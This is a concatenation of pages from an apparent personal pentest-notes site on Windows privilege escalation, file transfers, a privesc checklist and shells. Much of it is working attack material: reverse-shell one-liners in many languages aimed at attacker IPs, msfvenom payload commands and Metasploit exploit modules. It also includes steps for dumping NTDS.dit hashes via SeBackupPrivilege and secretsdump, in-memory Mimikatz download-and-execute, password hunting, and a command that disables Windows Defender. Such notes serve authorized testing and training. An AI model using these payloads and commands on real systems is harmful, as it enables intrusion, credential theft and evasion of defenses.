.\SeBackupPrivilegeCmdLets.dll` 3. If the privilege is assigned but disabled, use `Set-SeBackupPrivilege` and verify with `Get-SeBackupPrivilege` 4. Copy a file: `Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt` * * * #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sebackupprivilege-to-copy-any-file-with-robocopy-built-in-utility) **SeBackupPrivilege to Copy any file with robocopy \[Built-in Utility\]** * Robocopy is a built-in utility that can be used to copy files in backup mode. * No external tools are required * `robocopy /B E:\Windows\NTDS .\ntds ntds.dit` * * * #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sebackupprivilege-to-copy-ntds.dit) **SeBackupPrivilege to copy NTDS.dit** > * The NTDS.dit file is locked by default > > * We can use the Windows `diskshadow` utility to **create a shadow copy** of the C drive and expose it as E drive. > > * The NTDS.dit in this shadow copy won't be in use by the system. > > * Then, we can use the `Copy-FileSeBackupPrivilege cmdlet` to bypass the ACL and copy the NTDS.dit locally. > Follow these steps: 1. `Import-Module .\SeBackupPrivilegeUtils.dll` 2. `Import-Module .\SeBackupPrivilegeCmdLets.dll` 3. If the privilege is assigned but disabled, use `Set-SeBackupPrivilege` and verify with `Get-SeBackupPrivilege` 4. Copy the NTDS file: `Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit` 5. Extract hashes using SecretsDump: `secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#seloaddriverprivilege) **SeLoadDriverPrivilege** ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- > * This policy setting determines which users can dynamically load and unload device drivers. > > * This user right is not required if a signed driver for the new hardware already exists in the driver.cab file on the device > > * Device drivers run as highly privileged code. > **Example - Capcom.sys** * A typically vulnerable driver to this attack is Capcom.sys, which can allow any user to execute shellcode with SYSTEM privileges * Download on the target machine: [Capcom.sys filearrow-up-right](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) * Download EopLoadDriver and transfer on the target machine: [EopLoadDriverarrow-up-right](https://github.com/TarlogicSecurity/EoPLoadDriver/) * PoC Usage: `EOPLOADDRIVER.exe RegistryServicePath DriverImagePath` * PoC Usage with CapCom.sys: `EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\path-to-downloaded\Capcom.sys` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sesecurityprivilege) **SeSecurityPrivilege** ------------------------------------------------------------------------------------------------------------------------------------------------------------------- * This policy setting determines which users can specify object access audit options for individual resources such as files, Active Directory objects, and registry keys. * These objects specify their system access control lists (SACL). * A user assigned this user right can also view and clear the Security log in Event Viewer. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#serestoreprivilege) **SeRestorePrivilege** ----------------------------------------------------------------------------------------------------------------------------------------------------------------- * This security setting determines which users can bypass file, directory, registry, and other persistent object permissions when they restore backed up files and directories. * It determines which users can set valid security principals as the owner of an object. [PreviousEnumerating Attack Vectorschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors) [NextBuilt-in Groups Abusechevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/built-in-groups-abuse) Last updated 11 months ago * [Disclaimer - Disabled Rights](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#disclaimer-disabled-rights) * [SeImpersonate & SeAssignPrimaryToken - JuicyPotato & Printspoofer](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#seimpersonate-and-seassignprimarytoken-juicypotato-and-printspoofer) * [Escalating Privileges with JuicyPotato](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#escalating-privileges-with-juicypotato) * [Escalating Privileges with PrintSpoofer](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#escalating-privileges-with-printspoofer) * [SeDebugPrivilege](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sedebugprivilege) * [SeTakeOwnershipPrivilege](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#setakeownershipprivilege) * [SeBackupPrivilege](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sebackupprivilege) * [SeLoadDriverPrivilege](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#seloaddriverprivilege) * [SeSecurityPrivilege](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sesecurityprivilege) * [SeRestorePrivilege](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#serestoreprivilege) --- # File Transfers | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#introduction) **Introduction** ------------------------------------------------------------------------------------------------------------------------------------------ > There are many different methods to transfers files from a target machine to the attackers machine and vice versa. The following notes are a useful reference to help you achieve this task. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#basic-methods) **Basic Methods** -------------------------------------------------------------------------------------------------------------------------------------------- Command Description `cat filename | base64 -w 0; echo` followed by `echo 'encoding-result' | base64 -d` Encode and decode a file via base64 to transfer its content on local machine `wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh` Download a file using Wget `curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh` Download a file using cURL * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#using-ssh-secure-copy-scp) **Using SSH Secure Copy (SCP)** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `scp C:\Temp\bloodhound.zip user@target-ip:/tmp/bloodhound.zip` Upload a file using SCP `scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe` Download a file using SCP * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#using-a-fake-smb-server) **Using a fake SMB Server** ---------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `sudo impacket-smbserver sharename -smb2support /tmp/smbshare` Create an SMB Server with anonymous access `copy \\server-ip\share\nc.exe` Copy file to previous SMB Server when anonymous access is available `sudo impacket-smbserver sharename -smb2support /tmp/smbshare -user test -password test` Create an SMB Server hosting a share named "sharename" with credentials `net use n: \\server-ip\sharename /user:test test` Copy file to previous SMB Server when anonymous access is NOT available * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#using-rdp-shares-and-clipboard) **Using RDP Shares and Clipboard** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ * Create an SMB share containing the Kali user's home drive: `xfreerdp /v:ip /u:user /p:password +home-drive` * Connect to a FreeRDP server with a shared directory: `xfreerdp /v:ip_address /u:username /p:password /drive:path/to/directory,share_name` * Use RDP clipboard redirection: `xfreerdp /v:ip_address /u:username /p:password +clipboard` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#windows-file-transfers) **Windows File Transfers** -------------------------------------------------------------------------------------------------------------------------------------------------------------- * Download a file with PowerShell: `Invoke-WebRequest https:///PowerView.ps1 -OutFile PowerView.ps1` * Execute a file in memory using PowerShell: `IEX (New-Object Net.WebClient).DownloadString('https:///Invoke-Mimikatz.ps1')` * Upload a file with PowerShell: `Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64` * Download a file using Bitsadmin: `bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe` * Download a file using Certutil: `certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe` * Download a file using PHP `php -r '$file = file_get_contents("https:///LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'` * Invoke-WebRequest using a Chrome User Agent: `Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#file-transfers-with-netcat) **File Transfers with Netcat** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- **Case 1 - Using nc to Upload from attacker to target:** 1. From the target machine: `nc -l -p 8000 > SharpKatz.exe` 2. From attacker machine: `nc -q 0 192.168.49.128 8000 < SharpKatz.exe` **Case 2 - Using ncat to Upload from attacker to target:** 1. From the target machine: `ncat -l -p 8000 --recv-only > SharpKatz.exe` 2. From attacker machine: `ncat --send-only target-ip 8000 < SharpKatz.exe` [PreviousMetasploit Frameworkchevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework) [NextPivoting, Tunneling, Port Forwardingchevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding) Last updated 11 months ago * [Introduction](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#introduction) * [Basic Methods](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#basic-methods) * [Using SSH Secure Copy (SCP)](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#using-ssh-secure-copy-scp) * [Using a fake SMB Server](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#using-a-fake-smb-server) * [Using RDP Shares and Clipboard](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#using-rdp-shares-and-clipboard) * [Windows File Transfers](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#windows-file-transfers) * [File Transfers with Netcat](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers#file-transfers-with-netcat) --- # PriveEsc checklist | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#automated-tools) Automated Tools ---------------------------------------------------------------------------------------------------------------------------------------------------------- * **JAWS:** [https://github.com/411Hall/JAWSarrow-up-right](https://github.com/411Hall/JAWS) * **Metasploit:** `multi/recon/local_exploit_suggester` * **PowerUp:** [https://github.com/PowerShellMafia/PowerSploit/tree/master/Privescarrow-up-right](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) * **Seatbelt:** [https://github.com/GhostPack/Seatbeltarrow-up-right](https://github.com/GhostPack/Seatbelt) * **Watson:** [https://github.com/rasta-mouse/Watsonarrow-up-right](https://github.com/rasta-mouse/Watson) * **Windows Exploit Suggester:** [https://github.com/AonCyberLabs/Windows-Exploit-Suggesterarrow-up-right](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) * **WinPEAS:** [https://github.com/carlospolop/PEASS-ng/releasesarrow-up-right](https://github.com/carlospolop/PEASS-ng/releases) [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#system-information) System Information ---------------------------------------------------------------------------------------------------------------------------------------------------------------- Check Installed OS and architecture CMD PS Copy systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" Copy Get-ComputerInfo -property 'WindowsProductName', 'OsVersion', 'OsArchitecture' Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name ReleaseId Get Installed updates CMD PS Copy systeminfo | find ": KB" wmic qfe get Caption,Description,HotFixID,InstalledOn Copy get-wmiobject -class win32_quickfixengineering List environment variables CMD PS List local and network drives CMD PS View Domain Controllers CMD [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#network) Network ------------------------------------------------------------------------------------------------------------------------------------------ Get interface and network configuration CMD PS Print routing table CMD List active connections CMD PS Show Firewall state and configuration CMD List network drives CMD PS View DNS cache CMD [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#users-and-groups) Users and Groups ------------------------------------------------------------------------------------------------------------------------------------------------------------ Get current user CMD List all users CMD PS Get details about a specific user CMD View password policy CMD Get local groups CMD [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#services) Services -------------------------------------------------------------------------------------------------------------------------------------------- Get running services CMD CMD List unquoted service binaries [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#undefined-17) -------------------------------------------------------------------------------------------------------------------------------------- [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#world-writeable-folders) World Writeable Folders -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#privilege-escalation-specific) Privilege Escalation Specific -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Unquoted service paths If value returned is `AlwaysInstallElevated REG_DWORD 0x1` A malicious MSI can be used to install with elevated permissions from a standard privileged account. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#check-sticky-notes-for-passwords) Check Sticky Notes for passwords [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#search-file-system-for-passwords-and-files-of-interest) Search File System for passwords and files of interest ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#search-for-passwords) Search for passwords If current user can read Event Logs then get the latest PowerShell commands run on the system ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#recycle-bin) Recycle Bin [PreviousWindows Privilege Escalationchevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation) [NextEnumerating Attack Vectorschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors) Last updated 9 months ago * [Automated Tools](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#automated-tools) * [System Information](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#system-information) * [Network](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#network) * [Users and Groups](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#users-and-groups) * [Services](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#services) * [](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#undefined-17) * [World Writeable Folders](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#world-writeable-folders) * [Privilege Escalation Specific](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#privilege-escalation-specific) * [Check Sticky Notes for passwords](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#check-sticky-notes-for-passwords) * [Search File System for passwords and files of interest](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#search-file-system-for-passwords-and-files-of-interest) * [Search for passwords](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#search-for-passwords) * [Recycle Bin](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist#recycle-bin) Copy set Copy Get-ChildItem Env: | ft Key,Value Copy wmic logicaldisk get deviceid, volumename, description Copy get-psdrive -psprovider filesystem Copy systeminfo | findstr /B /C:"Domain" Copy ipconfig /all Copy Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address Copy route print Copy netstat -ano Copy Get-NetTCPConnection Copy netsh firewall show state netsh firewall show config Copy net share Copy Get-SMBMapping Copy ipconfig /displaydns Copy whoami net user %username% Copy net user whoami /all Copy Get-LocalUser | ft Name,Enabled,LastLogon,Description Copy net user Copy net accounts Copy net localgroup Copy wmic service get Caption,StartName,State,pathname Copy net start Copy wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """ Copy C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\Windows\tracing C:\Windows\Temp C:\Users\Public Copy reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated Copy C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite Copy findstr /si password *.txt findstr /si password *.xml findstr /si password *.ini findstr /si pass *.txt findstr /si pass *.xml findstr /si pass *.ini #Find all those strings in config files. dir /s *pass* == *cred* == *vnc* == *.config* Copy Get-EventLog -LogName 'Windows PowerShell' -Newest 100 | Select-Object -Property * Copy cd 'c:\$recycle.bin\' dir /A --- # Hard | Pentest Notes [PreviousBuilderchevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/builder) [NextWindowschevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows) Last updated 9 months ago --- # Shells and Payloads | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#introduction) **Introduction** ----------------------------------------------------------------------------------------------------------------------------------------------- > There are many different ways to "pop" a reverse shell. Check out the different paylads provided in my notes, but keep in mind that there are many different resources online * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#useful-resources) **Useful Resources** ------------------------------------------------------------------------------------------------------------------------------------------------------- * [RevShells.comarrow-up-right](https://www.revshells.com/) * [HackTricksarrow-up-right](https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux) * [PentestMonkeyarrow-up-right](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) * [ExploitNotesarrow-up-right](https://exploit-notes.hdks.org/exploit/shell/reverse-shell-cheat-sheet/) * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#bash-reverse-shells) **Bash Reverse Shells** ------------------------------------------------------------------------------------------------------------------------------------------------------------- Copy bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1" 0<&196;exec 196<>/dev/tcp/192.168.1.101/80; sh <&196 >&196 2>&196 * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#php-reverse-shells) **PHP Reverse Shells** ----------------------------------------------------------------------------------------------------------------------------------------------------------- * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#python-reverse-shells) **Python Reverse Shells** ----------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#netcat-reverse-shells) **Netcat Reverse Shells** ----------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#node.js-reverse-shells) **Node.js Reverse Shells** ------------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#powershell-payloads) **Powershell Payloads** ------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#perl-reverse-shells) **Perl Reverse Shells** ------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#ruby-reverse-shells) **Ruby Reverse Shells** ------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#linux-payloads) **Linux Payloads** --------------------------------------------------------------------------------------------------------------------------------------------------- * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#searchsploit) **Searchsploit** ----------------------------------------------------------------------------------------------------------------------------------------------- * Install & update: `sudo apt update && sudo apt install exploitdb` * You can serach for exploits using tags such as: `searchsploit remote smb microsoft window` * Copy a script to the current directory: `searchsploit -m windows/remote/48537.py` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#msfconsole-and-msfvenom) **Msfconsole & Msfvenom** ------------------------------------------------------------------------------------------------------------------------------------------------------------------- Commands Description use exploit/windows/smb/psexec Metasploit exploit module that can be used on vulnerable Windows system to establish a shell session utilizing smb & psexec shell Command used in a meterpreter shell session to drop into a system shell msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf MSFvenom command used to generate a linux-based reverse shell stageless payload msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe MSFvenom command used to generate a Windows-based reverse shell stageless payload msfvenom -p osx/x86/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho MSFvenom command used to generate a MacOS-based reverse shell payload msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp MSFvenom command used to generate a ASP web reverse shell payload msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp MSFvenom command used to generate a JSP web reverse shell payload msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload use auxiliary/scanner/smb/smb\_ms17\_010 Metasploit exploit module used to check if a host is vulnerable to ms17\_010 use exploit/windows/smb/ms17\_010\_psexec Metasploit exploit module used to gain a reverse shell session on a Windows-based system that is vulnerable to ms17\_010 use exploit/linux/http/rconfig\_vendors\_auth\_file\_upload\_rce Metasploit exploit module that can be used to optain a reverse shell on a vulnerable linux system hosting rConfig 3.9.6 * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#kali-linux-web-shells) **Kali Linux Web Shells** ----------------------------------------------------------------------------------------------------------------------------------------------------------------- > You can find some web shells within Kali Linux, under `/usr/share/webshells` [PreviousUtilities, Scripts and Payloadschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads) [NextMetasploit Frameworkchevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework) Last updated 11 months ago * [Introduction](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#introduction) * [Useful Resources](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#useful-resources) * [Bash Reverse Shells](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#bash-reverse-shells) * [PHP Reverse Shells](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#php-reverse-shells) * [Python Reverse Shells](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#python-reverse-shells) * [Netcat Reverse Shells](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#netcat-reverse-shells) * [Node.js Reverse Shells](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#node.js-reverse-shells) * [Powershell Payloads](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#powershell-payloads) * [Perl Reverse Shells](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#perl-reverse-shells) * [Ruby Reverse Shells](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#ruby-reverse-shells) * [Linux Payloads](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#linux-payloads) * [Searchsploit](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#searchsploit) * [Msfconsole & Msfvenom](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#msfconsole-and-msfvenom) * [Kali Linux Web Shells](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads#kali-linux-web-shells) Copy & /dev/tcp/"ATTACKING IP"/443 0>&1'");?> https://github.com/flast101/reverse-shell-cheatsheet/blob/master/php-reverse-shell.php Copy python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' __import__("os").system("bash -c 'bash -i >& /dev/tcp/10.0.0.10/666 0>&1'") Python TTY: python -c 'import pty; pty.spawn("/bin/sh")' Copy nc 192.168.1.101 5555 -e /bin/bash rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p Copy require('child_process').exec('bash -i >& /dev/tcp/10.0.0.1/80 0>&1'); JSShell: https://github.com/shelld3v/JSshell Copy Reverse Shell: powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \| Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" Disable real time monitoring in Windows Defender: Set-MpPreference -DisableRealtimeMonitoring $true Copy perl -e 'exec "/bin/sh";' perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' Copy ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Copy Spawn interactive shell: awk 'BEGIN {system("/bin/sh")}' Spawn interactive shell: find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \; Spawn interactive shell: find . -exec /bin/sh \; -quit Spawn interactive shell: vim -c ':!/bin/sh' --- # Medium | Pentest Notes [Monitoredchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/monitored) [Updownchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/updown) [Popcornchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/popcorn) [Jarvischevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/jarvis) [Mentorchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/mentor) [Poisonchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/poison) [Solidstatechevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/solidstate) [Tartarsaucechevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/tartarsauce) [Ninevehchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/nineveh) [Magicchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/magic) [Builderchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/builder) [PreviousUnderpasschevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/underpass) [NextMonitoredchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/medium/monitored) Last updated 9 months ago --- # Enumerating Attack Vectors | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#helpful-tools) **Helpful Tools** ------------------------------------------------------------------------------------------------------------------------------------------------------ **Miscellaneous:** * [**Ghostpack Compiled Binaries**arrow-up-right](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries) * 